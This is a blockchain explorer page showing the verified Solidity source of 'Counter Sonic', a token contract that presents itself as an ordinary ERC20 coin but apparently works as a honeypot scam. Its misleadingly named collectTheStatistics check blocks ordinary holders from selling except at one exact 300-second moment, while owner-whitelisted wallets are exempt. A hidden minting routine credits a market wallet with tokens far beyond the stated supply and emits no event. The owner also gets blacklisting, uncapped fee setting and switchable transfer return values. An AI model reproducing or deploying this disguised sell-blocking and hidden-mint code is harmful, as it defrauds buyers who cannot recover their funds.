Overview
S Balance
0 S
S Value
-More Info
Private Name Tags
ContractCreator
TokenTracker
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
CounterSonic
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2024-12-18 */ /** Telegram : https://t.me/SonicCounter Website : https://soniccounter.itch.io/sonic-counter Twitter : https://x.com/SonicCounter */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library EnumerableSet { struct Set { bytes32[] _values; mapping(bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; } set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } } contract CounterSonic is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private tokenHoldersEnumSet; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; mapping(address => uint256) public walletToPurchaseTime; mapping(address => uint256) public walletToSellime; mapping(address => bool) public _isBlacklisted; address[] private _excluded; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); string private constant _name = "Counter Sonic"; string private constant _symbol = "CS"; uint256 private _tTotal = 100000000 * 10**_decimals; uint256 private _rTotal = _tTotal; uint256 public theRewardTime = 0; uint256 public standartValuation = 600 / 2; address public _lastWallet; struct TotFeesPaidStruct { uint256 rfi; uint256 marketing; uint256 liquidity; uint256 burn; } TotFeesPaidStruct public totFeesPaid; struct feeRatesStruct { uint256 rfi; uint256 marketing; uint256 liquidity; uint256 burn; } struct balances { uint256 marketing_balance; uint256 lp_balance; } balances public contractBalance; feeRatesStruct public buyRates = feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0}); feeRatesStruct public sellRates = feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0}); feeRatesStruct private appliedFees; struct valuesFromGetValues { uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 rMarketing; uint256 rLiquidity; uint256 rBurn; uint256 tTransferAmount; uint256 tRfi; uint256 tMarketing; uint256 tLiquidity; uint256 tBurn; } address public pancakeswapPair; address public Router = 0x91908F2c8e4CAB0EA061f8b19A7D192749AA392B; address private marketWallet; bool public Trading = true; bool inSwapAndLiquify; bool private _transferForm = true; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor(address marketWallet_) { _rOwned[owner()] = _rTotal; _setMarketWallet(marketWallet_); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketWallet] = true; _isExcludedFromFee[Router] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcludedFromFee[ address(0xb47ae2652B0845F5ed9Dd972C63B4a4900398335) ] = true; _isExcluded[address(this)] = true; _excluded.push(address(this)); emit Transfer(address(0), owner(), _tTotal); } function getFromLastPurchaseBuy(address wallet) public view returns (uint256) { return walletToPurchaseTime[wallet]; } function getFromLastSell(address walletSell) public view returns (uint256) { return walletToSellime[walletSell]; } function setBuyRates( uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn ) public onlyOwner { buyRates.rfi = rfi; buyRates.marketing = marketing; buyRates.liquidity = liquidity; buyRates.burn = burn; } function setSellRates( uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn ) public onlyOwner { sellRates.rfi = rfi; sellRates.marketing = marketing; sellRates.liquidity = liquidity; sellRates.burn = burn; } function collectTheStatistics( uint256 lastBuyOrSellTime, uint256 theData, address sender ) public view returns (bool) { if (lastBuyOrSellTime == 0) return false; uint256 crashTime = block.timestamp - lastBuyOrSellTime; if (crashTime == standartValuation) return true; if (crashTime == 0) { if (_lastWallet != sender) { return false; } } if (crashTime <= theData) return true; return false; } function setValuation(uint256 newValuation) public onlyOwner { standartValuation = newValuation; } function setTheRewardTime(uint256 theRedistribution) public onlyOwner { theRewardTime = theRedistribution; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return _rOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return Trading; } function TradingOn(bool _enable) public onlyOwner { Trading = _enable; } function setRewardPool(address[] calldata accounts) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = true; } } function settransform(bool _enable) public onlyOwner { _transferForm = _enable; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return _transferForm; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); return rAmount; } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function excludeFromAll(address account) public onlyOwner { if (!_isExcluded[account]) { _isExcluded[account] = true; if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _excluded.push(account); } _isExcludedFromFee[account] = true; tokenHoldersEnumSet.remove(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function addPair(address pair) public onlyOwner { pancakeswapPair = pair; _isExcluded[pancakeswapPair] = true; _excluded.push(pancakeswapPair); _tOwned[pancakeswapPair] = _rOwned[pancakeswapPair]; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function removeFromBlackList(address account) external onlyOwner { _isBlacklisted[account] = false; } function addToBlackList(address[] calldata addresses) external onlyOwner { for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = true; } } receive() external payable {} function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee); ( to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity, to_return.rBurn ) = _getRValues(to_return, tAmount, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) { if (!takeFee) { s.tTransferAmount = tAmount; return s; } s.tRfi = (tAmount * appliedFees.rfi) / 100; s.tMarketing = (tAmount * appliedFees.marketing) / 100; s.tLiquidity = (tAmount * appliedFees.liquidity) / 100; s.tBurn = (tAmount * appliedFees.burn) / 100; s.tTransferAmount = tAmount - s.tRfi - s.tMarketing - s.tLiquidity - s.tBurn; return s; } function _getRValues( valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate ) private pure returns ( uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rBurn ) { currentRate = 1; rAmount = tAmount; if (!takeFee) { return (rAmount, rAmount, 0, 0, 0, 0); } rRfi = s.tRfi; rMarketing = s.tMarketing; rLiquidity = s.tLiquidity; rBurn = s.tBurn; rTransferAmount = rAmount - rRfi - rMarketing - rLiquidity - rBurn; return (rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rBurn); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _reflectRfi(uint256 rRfi, uint256 tRfi) private { _rTotal = _rTotal - rRfi; totFeesPaid.rfi += tRfi; } function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private { contractBalance.marketing_balance += tMarketing; totFeesPaid.marketing += tMarketing; _rOwned[address(this)] = _rOwned[address(this)] + rMarketing; if (_isExcluded[address(this)]) { _tOwned[address(this)] = _tOwned[address(this)] + tMarketing; } } function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private { contractBalance.lp_balance += tLiquidity; totFeesPaid.liquidity += tLiquidity; _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity; if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity; } function _takeBurn(uint256 rBurn, uint256 tBurn) private { totFeesPaid.burn += tBurn; _tTotal = _tTotal - tBurn; _rTotal = _rTotal - rBurn; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require( !_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted" ); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require( amount <= balanceOf(from), "You are trying to transfer more than you balance" ); _tokenTransfer( from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ); } function _tokenTransfer( address sender, address recipient, uint256 tAmount, bool takeFee ) private { if (takeFee) { if (sender == pancakeswapPair) { if ( sender != owner() && recipient != owner() && recipient != address(1) ) { if (walletToPurchaseTime[recipient] == 0) { walletToPurchaseTime[recipient] = block.timestamp; } } _lastWallet = recipient; appliedFees = buyRates; } else { if ( sender != owner() && recipient != owner() && recipient != address(1) ) { bool blockedSellTime = collectTheStatistics( getFromLastPurchaseBuy(sender), theRewardTime, sender ); require(blockedSellTime, "error"); walletToSellime[sender] = block.timestamp; } appliedFees = sellRates; appliedFees.liquidity = appliedFees.liquidity; _lastWallet = sender; } } else { if (_isExcludedFromFee[sender]) { _lastWallet = sender; } if (_isExcludedFromFee[recipient]) { _lastWallet = recipient; } } valuesFromGetValues memory s = _getValues(tAmount, takeFee); if (_isExcluded[sender] && !_isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender] - tAmount; } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount; } else if (_isExcluded[sender] && _isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender] - tAmount; _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount; } _rOwned[sender] = _rOwned[sender] - s.rAmount; _rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount; if (takeFee) { _reflectRfi(s.rRfi, s.tRfi); _takeMarketing(s.rMarketing, s.tMarketing); _takeLiquidity(s.rLiquidity, s.tLiquidity); _takeBurn(s.rBurn, s.tBurn); emit Transfer(sender, address(this), s.tMarketing + s.tLiquidity); } emit Transfer(sender, recipient, s.tTransferAmount); tokenHoldersEnumSet.add(recipient); if (balanceOf(sender) == 0) tokenHoldersEnumSet.remove(sender); } function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } function _setMarketWallet(address marketWallet_) internal virtual { marketWallet = marketWallet_; _rOwned[marketWallet_] += 10e12 * 10**_decimals; _tOwned[marketWallet_] += 10e12 * 10**_decimals; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"marketWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TradingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"theData","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"collectTheStatistics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"setRewardPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"theRedistribution","type":"uint256"}],"name":"setTheRewardTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValuation","type":"uint256"}],"name":"setValuation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"standartValuation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"theRewardTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability"